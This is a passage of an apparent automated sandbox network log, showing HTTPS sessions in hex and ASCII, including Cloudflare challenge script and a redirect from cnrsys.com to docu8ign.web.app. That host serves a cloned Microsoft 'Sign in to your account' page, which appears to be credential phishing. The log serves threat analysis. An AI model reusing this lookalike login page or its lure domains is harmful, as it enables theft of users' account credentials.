34 57 52 6c 65 75 6a 2c 5f 63 66 5f 63 68 6c 5f 6f 70 74 2c Data Ascii: [D]===!0?'T':C[D]===!1?'F':(E=typeof C[D],X(266)==E?k(e,C[D])?'N':'f':j[E]\|\|'?')}function b(c,d,e){return e=a(),b=function(f,g,h){return f=f-161,h=e[f],h},b(c,d)}function a(ah){return ah=' - ,length,/beacon/ov,109882rxpZHe,Hvmr3,5351964WRleuj,_cf_chl_opt,
2024-09-27 06:18:37 UTC	1369	IN	Data Raw: 76 65 43 68 69 6c 64 2c 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 2c 64 6f 63 75 6d 65 6e 74 2c 65 72 72 6f 72 20 6f 6e 20 63 66 5f 63 68 6c 5f 70 72 6f 70 73 2c 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 2c 32 34 34 38 39 38 30 6b 67 66 79 41 4f 2c 25 32 62 2c 66 72 6f 6d 2c 36 71 59 77 66 43 4d 2c 6a 6f 69 6e 2c 62 69 6e 64 2c 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 4e 61 6d 65 73 2c 6c 6f 61 64 69 6e 67 2c 45 72 72 6f 72 20 6f 62 6a 65 63 74 3a 20 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 62 69 67 69 6e 74 2c 32 38 37 30 39 34 35 48 69 61 74 45 6a 2c 31 31 33 33 32 36 30 70 4b 55 41 4b 6f 2c 6e 6f 77 2c 50 4f 53 54 2c 70 6f 77 2c 74 61 62 49 6e 64 65 78 2c 33 56 79 66 4d 4b 4c 27 2e 73 70 6c 69 74 28 27 2c 27 29 2c 61 3d 66 75 6e 63 74 69 6f Data Ascii: veChild,onreadystatechange,document,error on cf_chl_props,display: none,2448980kgfyAO,%2b,from,6qYwfCM,join,bind,getOwnPropertyNames,loading,Error object: ,Content-Type,bigint,2870945HiatEj,1133260pKUAKo,now,POST,pow,tabIndex,3VyfMKL'.split(','),a=functio
2024-09-27 06:18:37 UTC	521	IN	Data Raw: 31 38 33 29 5d 2c 4a 5b 61 64 28 32 35 38 29 5d 3d 67 5b 61 64 28 32 35 32 29 5d 5b 61 64 28 32 35 38 29 5d 2c 4a 5b 61 64 28 32 32 30 29 5d 3d 67 5b 61 64 28 32 35 32 29 5d 5b 61 64 28 32 32 30 29 5d 2c 4b 3d 4a 2c 48 5b 61 64 28 31 36 38 29 5d 28 49 2c 47 2c 21 21 5b 5d 29 2c 48 5b 61 64 28 31 39 39 29 5d 3d 32 35 30 30 2c 48 5b 61 64 28 32 37 31 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 48 5b 61 64 28 32 31 38 29 5d 28 61 64 28 31 36 37 29 2c 61 64 28 31 37 32 29 29 2c 4c 3d 7b 7d 2c 4c 5b 61 64 28 31 39 34 29 5d 3d 45 2c 4c 5b 61 64 28 32 35 35 29 5d 3d 4b 2c 4c 5b 61 64 28 32 31 35 29 5d 3d 61 64 28 32 30 38 29 2c 4d 3d 76 5b 61 64 28 32 30 33 29 5d 28 4a 53 4f 4e 5b 61 64 28 32 35 34 29 5d 28 4c 29 29 5b 61 64 28 31 36 32 29 5d 28 27 2b 27 2c Data Ascii: 183)],J[ad(258)]=g[ad(252)][ad(258)],J[ad(220)]=g[ad(252)][ad(220)],K=J,H[ad(168)](I,G,!![]),H[ad(199)]=2500,H[ad(271)]=function(){},H[ad(218)](ad(167),ad(172)),L={},L[ad(194)]=E,L[ad(255)]=K,L[ad(215)]=ad(208),M=v[ad(203)](JSON[ad(254)](L))[ad(162)]('+',

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49719	35.190.80.1	443	6544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:36 UTC	470	OUT	POST /report/v4?s=YMLOLPGSRSsmwqIpR3fASjuCOZFyw2vqRj30ILIMSrYqMs%2BSqnDEjfXqZcDkX7Ba3r%2Bnd0eB9RJep02H0bLqRSKLTKeluxI%2FFC6uy6lWSfTwTYgQT%2FO0KIiV436O HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 385 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 06:18:36 UTC	385	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 31 34 31 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 38 38 2e 31 31 34 2e 39 36 2e 33 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 35 30 33 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 63 6e 72 73 79 73 2e 63 6f 6d 2f 2e 6a 68 67 2f Data Ascii: [{"age":0,"body":{"elapsed_time":1141,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"188.114.96.3","status_code":503,"type":"http.error"},"type":"network-error","url":"https://cnrsys.com/.jhg/
2024-09-27 06:18:36 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Fri, 27 Sep 2024 06:18:36 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49721	188.114.96.3	443	6544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:37 UTC	1004	OUT	POST /cdn-cgi/challenge-platform/h/g/jsd/r/8c9960913bc242c7 HTTP/1.1 Host: cnrsys.com Connection: keep-alive Content-Length: 15879 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Origin: https://cnrsys.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: McbEYet2v09v_3mL4sQI2byZSN8=yvHly5o5fyP3h84K6G_T2AUi0gk; Hf0Pjp-DSxE9Av575dQ0UtIZPm4=1727417913; otTRaleSHwO5ofIElCiiijhfVFk=1727504313; meWWe2_espbdrxvUJHYxXvRB2Uo=CM76pA-ZlAOqg04ulzzxvwGM4_U; ZuEkyrklGF1CBRt5A7qtYcXb9O4=cRrl2AzWkJYyEFavDJ0CEiHqe8Y; zEnEuj91S7R0AJxSrRV_wCsAUQA=1727417915; S-f7HVeKw3jZHc7j-xrPP51lHEE=1727504315; ZDbk1gXpcq4Sa0Y9D2ZondlRw74=xSwK5DLtLfziIvBBNjwsLzS6sts
2024-09-27 06:18:37 UTC	15879	OUT	Data Raw: 7b 22 77 70 22 3a 22 70 4f 71 42 65 57 76 31 65 67 71 65 39 46 56 76 41 76 50 69 64 42 57 2b 69 6c 48 69 49 77 49 32 32 57 31 76 4c 43 69 74 6b 2b 52 6b 35 71 69 5a 74 75 61 56 6b 67 76 51 69 39 41 71 58 6e 4f 4f 69 6c 30 32 69 68 69 32 2b 32 71 76 69 2d 32 76 79 56 24 42 30 67 4f 36 4d 63 42 74 6b 45 4f 48 6c 4a 51 50 46 58 44 42 79 45 65 66 48 38 76 4a 43 74 30 49 69 65 71 71 53 49 5a 57 36 6e 69 4b 58 6e 35 59 36 69 59 42 46 5a 69 57 66 71 69 49 42 57 57 42 45 39 42 49 69 76 6b 69 64 67 54 69 76 38 36 69 47 72 31 6c 58 4f 75 76 6c 30 6e 71 69 57 72 36 69 57 56 61 64 69 61 57 69 76 36 2d 35 55 71 63 51 48 2b 57 58 57 76 59 79 48 4f 43 65 45 37 73 59 74 69 77 42 57 49 6a 6f 4f 69 31 54 4f 6b 46 35 74 7a 2d 58 69 61 73 59 30 45 77 6c 42 69 55 30 77 35 49 Data Ascii: {"wp":"pOqBeWv1egqe9FVvAvPidBW+ilHiIwI22W1vLCitk+Rk5qiZtuaVkgvQi9AqXnOOil02ihi2+2qvi-2vyV$B0gO6McBtkEOHlJQPFXDByEefH8vJCt0IieqqSIZW6niKXn5Y6iYBFZiWfqiIBWWBE9BIivkidgTiv86iGr1lXOuvl0nqiWr6iWVadiaWiv6-5UqcQH+WXWvYyHOCeE7sYtiwBWIjoOi1TOkF5tz-XiasY0EwlBiU0w5I
2024-09-27 06:18:37 UTC	1208	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 06:18:37 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: cf_clearance=; Path=/; Expires=Thu, 01-Jan-70 00:00:00 GMT; Domain=.cnrsys.com; HttpOnly; Secure; SameSite=None Set-Cookie: cf_clearance=y1ciRlhhr6HQD4hQ7.ZebzBLh1QZIcNqFHfJmr6gQao-1727417917-1.2.1.1-X23lHjeipG6.BHLVKTcLJGlsawlXkQrWp4ZA.QmKtqbExgYkECjpmZFfB0Z0qdxM.CHZaLz7AE5v8U1B3tYLmgme15re8TxzRpHhyn.HKMrE2sfMIHc.ah.1U4wdsLKqtP0JnwdQZL9ife_rYIrgS2wGyeUEzzdsc17Wu_0_D2D.Qb929s9fT1qFH3G7wH_C0h8JyXBRTgW4IxIW4_LtrpdAI6fpwpClUGSLeiWlnP3AK64K65RTsvW8BL6e3ujyHiBwYpQ2rGJx9fYlQUZt5xZ_PK_kYiDtrr.b_up_.XMgwkXp_.UqZ74SQY1SzVr2dLeAdELgnq1OpAjoeBqe4jDb.NDxeksBX1oolWkzFkyKnBHSr2UnC8FzlVffNDdz; Path=/; Expires=Sat, 27-Sep-25 06:18:37 GMT; Domain=.cnrsys.com; HttpOnly; Secure; SameSite=None; Partitioned Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uRFUilDDwmdW0KeyUq2r8dSNAYhwGzucel5KByysSsHf%2Fp8JspYal8ROdWxHxtMHteLJN9Dk5IvsgpKi9PasnQvAZ8a6SZvxQE0c1Uj%2Fgb5eZvO800djmBfyiMlR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9960a258648c7e-EWR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49722	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:38 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-09-27 06:18:38 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF67) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=37656 Date: Fri, 27 Sep 2024 06:18:38 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49725	199.36.158.100	443	6544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:38 UTC	735	OUT	GET /5kZtQ3bfand0TbubQ3b5kZtingQ3br07xhH05Q3brbigQ3brd0TR3wH05nZ1 HTTP/1.1 Host: docu8ign.web.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://cnrsys.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 06:18:38 UTC	617	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 30066 Cache-Control: max-age=3600 Content-Type: text/html; charset=utf-8 Etag: "f6455d71835b980547f2cea8f70e1fac5e21565ee98988421ebcb5927521f682" Last-Modified: Fri, 06 Sep 2024 08:18:30 GMT Strict-Transport-Security: max-age=31556926; includeSubDomains; preload Accept-Ranges: bytes Date: Fri, 27 Sep 2024 06:18:38 GMT X-Served-By: cache-ewr-kewr1740027-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1727417919.719954,VS0,VE129 Vary: x-fh-requested-host, accept-encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2024-09-27 06:18:38 UTC	1378	IN	Data Raw: 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 63 6c 61 73 73 3d 22 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 53 69 67 6e 20 69 6e 20 74 6f 20 79 6f 75 72 20 61 63 63 6f 75 6e 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 52 65 64 69 72 65 63 74 20 28 75 72 6c 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 20 3d 20 75 72 6c 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 76 61 72 20 75 Data Ascii: <html dir="ltr" class="" lang="en"><head> <title>Sign in to your account</title> <script type="text/javascript"> window.onload = function() { function Redirect (url){ window.location.href = url; } var u
2024-09-27 06:18:38 UTC	1378	IN	Data Raw: 6f 73 63 72 69 70 74 3e 0a 0a 20 20 20 20 0a 20 20 20 20 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 6e 65 22 3e 0a 0a 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 2e 6c 69 76 65 2e 63 6f 6d 2f 4d 65 2e 68 74 6d 3f 76 3d 33 22 3e 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 61 64 63 64 6e 2e 6d 73 61 75 74 68 2e 6e 65 74 2f 73 68 61 72 65 64 2f 31 2e 30 2f 63 6f 6e 74 65 6e 74 2f 69 6d 61 67 65 73 2f 66 61 76 69 63 6f 6e 5f 61 5f 65 75 70 61 79 66 67 67 68 71 69 61 69 37 6b 39 73 6f 6c 36 6c 67 32 2e Data Ascii: oscript> <meta name="robots" content="none"> <link rel="prefetch" href="https://login.live.com/Me.htm?v=3"> <link rel="shortcut icon" href="https://aadcdn.msauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.
2024-09-27 06:18:38 UTC	1378	IN	Data Raw: 63 64 6e 62 75 6e 64 6c 65 73 2f 63 6f 6e 76 65 72 67 65 64 2e 76 32 2e 6c 6f 67 69 6e 2e 6d 69 6e 5f 6b 66 68 72 66 79 66 79 2d 73 6d 32 74 6d 6b 6d 35 66 69 63 63 77 32 2e 63 73 73 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 61 64 63 64 6e 2e 6d 73 66 74 61 75 74 68 2e 6e 65 74 2f 65 73 74 73 2f 32 2e 31 2f 63 6f 6e 74 65 6e 74 2f 63 64 6e 62 75 6e 64 6c 65 73 2f 75 78 2e 63 6f 6e 76 65 72 67 65 64 2e 6c 6f 67 69 6e 2e 73 74 72 69 6e 67 73 2d 65 6e 2d 67 62 2e 6d 69 6e 5f 2d 68 6a 63 67 71 78 66 7a 66 75 30 63 77 7a 62 6c 61 63 64 71 71 32 2e 6a 73 22 3e 3c 73 63 72 69 70 74 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 61 61 64 63 64 6e 2e Data Ascii: cdnbundles/converged.v2.login.min_kfhrfyfy-sm2tmkm5ficcw2.css"><link rel="prefetch" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en-gb.min_-hjcgqxfzfu0cwzblacdqq2.js"><script charset="utf-8" src="https://aadcdn.
2024-09-27 06:18:38 UTC	1378	IN	Data Raw: 3b 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 66 75 6e 63 74 69 6f 6e 20 72 28 65 29 7b 78 2e 61 70 70 65 6e 64 4c 6f 67 26 26 78 2e 61 70 70 65 6e 64 4c 6f 67 28 22 43 6c 69 65 6e 74 20 50 72 65 66 65 74 63 68 3a 20 22 2b 65 29 7d 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 74 72 79 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 63 6f 6f 6b 69 65 2e 73 70 6c 69 74 28 22 3b 22 29 2c 72 3d 30 3b 72 3c 65 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 72 5d 3b 69 66 28 69 29 7b 76 61 72 20 6f 3d 69 2e 69 6e 64 65 78 4f 66 28 22 3d 22 29 3b 69 66 28 2d 31 21 3d 3d 6f 29 7b 69 66 28 69 2e 73 75 62 73 74 72 28 30 2c 6f 29 2e 74 72 69 6d 28 29 3d 3d 3d 6e 2e 6e 61 6d 65 29 7b 76 61 72 20 75 3d 69 2e 73 75 62 73 74 72 28 6f 2b 31 29 3b 72 65 74 75 Data Ascii: ;!function(e,t,n){function r(e){x.appendLog&&x.appendLog("Client Prefetch: "+e)}function i(){try{for(var e=t.cookie.split(";"),r=0;r<e.length;r++){var i=e[r];if(i){var o=i.indexOf("=");if(-1!==o){if(i.substr(0,o).trim()===n.name){var u=i.substr(o+1);retu
2024-09-27 06:18:38 UTC	1378	IN	Data Raw: 68 3e 30 29 7b 6e 3d 21 30 3b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 74 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 7b 64 65 6c 65 74 65 20 65 5b 74 5b 72 5d 5d 7d 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 70 28 65 29 7b 76 61 72 20 74 3d 73 28 29 2d 43 2c 6e 3d 74 2b 32 2a 43 2c 72 3d 6e 75 6c 6c 2c 69 3d 30 2c 6f 3d 5b 5d 0a 3b 72 65 74 75 72 6e 20 6c 28 65 2c 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 63 3c 74 7c 7c 63 3e 6e 3f 6f 2e 70 75 73 68 28 63 29 3a 28 30 3d 3d 3d 65 5b 63 5d 2e 6c 65 6e 67 74 68 3f 6f 2e 70 75 73 68 28 63 29 3a 28 6e 75 6c 6c 3d 3d 3d 72 7c 7c 63 3c 72 29 26 26 28 72 3d 63 29 2c 69 2b 2b 29 2c 21 30 7d 29 2c 6e 75 6c 6c 21 3d 3d 72 26 26 69 3e 6b 26 26 6f 2e 70 75 73 68 28 72 29 2c 64 28 65 2c 6f 29 7d Data Ascii: h>0){n=!0;for(var r=0;r<t.length;r++){delete e[t[r]]}}return n}function p(e){var t=s()-C,n=t+2*C,r=null,i=0,o=[];return l(e,function(c){return c<t\|\|c>n?o.push(c):(0===e[c].length?o.push(c):(null===r\|\|c<r)&&(r=c),i++),!0}),null!==r&&i>k&&o.push(r),d(e,o)}
2024-09-27 06:18:38 UTC	1378	IN	Data Raw: 76 61 72 20 74 3d 65 5b 58 5d 3b 4f 28 74 2e 70 61 74 68 2c 74 2e 68 61 73 68 2c 74 2e 63 6f 7c 7c 21 31 2c 74 2e 72 66 7c 7c 21 31 29 2c 58 2b 2b 7d 7d 66 75 6e 63 74 69 6f 6e 20 79 28 65 29 7b 69 66 28 65 29 7b 74 72 79 7b 76 61 72 20 6e 3d 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 6c 69 6e 6b 22 29 3b 6e 2e 72 65 6c 3d 22 70 72 65 66 65 74 63 68 22 2c 6e 2e 68 72 65 66 3d 65 2c 74 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6e 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 4d 28 29 7b 72 28 22 53 74 61 72 74 69 6e 67 22 29 2c 62 28 29 2c 62 28 29 7d 66 75 6e 63 74 69 6f 6e 20 53 28 29 7b 0a 66 6f 72 28 76 61 72 20 74 3d 65 2e 24 43 6f 6e 66 69 67 7c 7c 65 2e 53 65 72 76 65 72 44 61 74 61 7c 7c 7b 7d 2c 72 3d 6e Data Ascii: var t=e[X];O(t.path,t.hash,t.co\|\|!1,t.rf\|\|!1),X++}}function y(e){if(e){try{var n=t.createElement("link");n.rel="prefetch",n.href=e,t.head.appendChild(n)}catch(e){}}}function M(){r("Starting"),b(),b()}function S(){for(var t=e.$Config\|\|e.ServerData\|\|{},r=n
2024-09-27 06:18:38 UTC	1378	IN	Data Raw: 72 4c 69 6e 6b 73 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 75 73 65 57 69 7a 61 72 64 42 65 68 61 76 69 6f 72 3a 20 73 76 72 2e 66 55 73 65 57 69 7a 61 72 64 42 65 68 61 76 69 6f 72 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 61 6e 64 6c 65 57 69 7a 61 72 64 42 75 74 74 6f 6e 73 3a 20 66 61 6c 73 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 73 73 77 6f 72 64 3a 20 70 61 73 73 77 6f 72 64 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 69 64 65 46 72 6f 6d 41 72 69 61 3a 20 61 72 69 61 48 69 64 64 65 6e 20 7d 2c 0a 20 20 20 20 20 20 20 20 65 76 65 6e 74 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6f 74 65 72 41 67 72 65 65 6d 65 6e 74 43 6c 69 63 6b 3a 20 66 6f 6f 74 65 72 5f 61 67 72 65 65 6d 65 6e 74 43 6c 69 63 6b 20 7d Data Ascii: rLinks: true, useWizardBehavior: svr.fUseWizardBehavior, handleWizardButtons: false, password: password, hideFromAria: ariaHidden }, event: { footerAgreementClick: footer_agreementClick }
2024-09-27 06:18:38 UTC	1378	IN	Data Raw: 6b 6f 20 2d 2d 3e 0a 20 20 20 20 3c 21 2d 2d 20 2f 6b 6f 20 2d 2d 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 0a 0a 3c 21 2d 2d 20 6b 6f 20 69 66 3a 20 73 76 72 2e 69 42 61 6e 6e 65 72 45 6e 76 69 72 6f 6e 6d 65 6e 74 20 2d 2d 3e 3c 21 2d 2d 20 2f 6b 6f 20 2d 2d 3e 0a 0a 3c 21 2d 2d 20 6b 6f 20 77 69 74 68 50 72 6f 70 65 72 74 69 65 73 3a 20 7b 20 27 24 6d 61 73 74 65 72 50 61 67 65 43 6f 6e 74 65 78 74 27 3a 20 24 70 61 72 65 6e 74 43 6f 6e 74 65 78 74 20 7d 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 75 74 65 72 22 20 64 61 74 61 2d 62 69 6e 64 3d 22 63 73 73 3a 20 7b 20 27 61 70 70 27 3a 20 24 70 61 67 65 2e 62 61 63 6b 67 72 6f 75 6e 64 4c 6f 67 6f 55 72 6c 20 7d 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 6b 6f 20 69 66 3a 20 73 68 6f 77 48 65 61 64 Data Ascii: ko --> ... /ko --></div></div>... ko if: svr.iBannerEnvironment -->... /ko -->... ko withProperties: { '$masterPageContext': $parentContext } --><div class="outer" data-bind="css: { 'app': $page.backgroundLogoUrl }"> ... ko if: showHead
2024-09-27 06:18:38 UTC	1378	IN	Data Raw: 6f 77 46 65 64 43 72 65 64 41 6e 64 4e 65 77 53 65 73 73 69 6f 6e 20 26 61 6d 70 3b 26 61 6d 70 3b 20 28 24 70 61 67 65 2e 73 68 6f 77 46 65 64 43 72 65 64 42 75 74 74 6f 6e 73 28 29 20 7c 7c 20 24 70 61 67 65 2e 6e 65 77 53 65 73 73 69 6f 6e 28 29 29 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 27 74 72 61 6e 73 70 61 72 65 6e 74 2d 6c 69 67 68 74 62 6f 78 27 3a 20 24 70 61 67 65 2e 62 61 63 6b 67 72 6f 75 6e 64 43 6f 6e 74 72 6f 6c 4d 65 74 68 6f 64 73 28 29 20 26 61 6d 70 3b 26 61 6d 70 3b 20 24 70 61 67 65 2e 62 61 63 6b 67 72 6f 75 6e 64 43 6f 6e 74 72 6f 6c 4d 65 74 68 6f 64 73 28 29 2e 75 73 65 54 72 61 6e 73 70 61 72 65 6e 74 4c 69 67 68 74 42 6f 78 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 27 6c 69 67 68 74 62 6f 78 2d 62 6f Data Ascii: owFedCredAndNewSession && ($page.showFedCredButtons() \|\| $page.newSession()), 'transparent-lightbox': $page.backgroundControlMethods() && $page.backgroundControlMethods().useTransparentLightBox, 'lightbox-bo
2024-09-27 06:18:38 UTC	1378	IN	Data Raw: 67 65 4e 6f 64 65 5d 2c 20 64 61 74 61 3a 20 24 70 61 72 65 6e 74 20 7d 20 2d 2d 3e 0a 3c 69 6d 67 20 63 6c 61 73 73 3d 22 6c 6f 67 6f 22 20 72 6f 6c 65 3d 22 69 6d 67 22 20 70 6e 67 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 61 61 64 63 64 6e 2e 6d 73 66 74 61 75 74 68 2e 6e 65 74 2f 73 68 61 72 65 64 2f 31 2e 30 2f 63 6f 6e 74 65 6e 74 2f 69 6d 61 67 65 73 2f 6d 69 63 72 6f 73 6f 66 74 5f 6c 6f 67 6f 5f 65 64 39 63 39 65 62 30 64 63 65 31 37 64 37 35 32 62 65 64 65 61 36 62 35 61 63 64 61 36 64 39 2e 70 6e 67 22 20 73 76 67 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 61 61 64 63 64 6e 2e 6d 73 66 74 61 75 74 68 2e 6e 65 74 2f 73 68 61 72 65 64 2f 31 2e 30 2f 63 6f 6e 74 65 6e 74 2f 69 6d 61 67 65 73 2f 6d 69 63 72 6f 73 6f 66 74 5f 6c 6f 67 6f 5f 65 65 35 63 38 Data Ascii: geNode], data: $parent } --><img class="logo" role="img" pngsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_ed9c9eb0dce17d752bedea6b5acda6d9.png" svgsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_ee5c8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49723	188.114.96.3	443	6544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
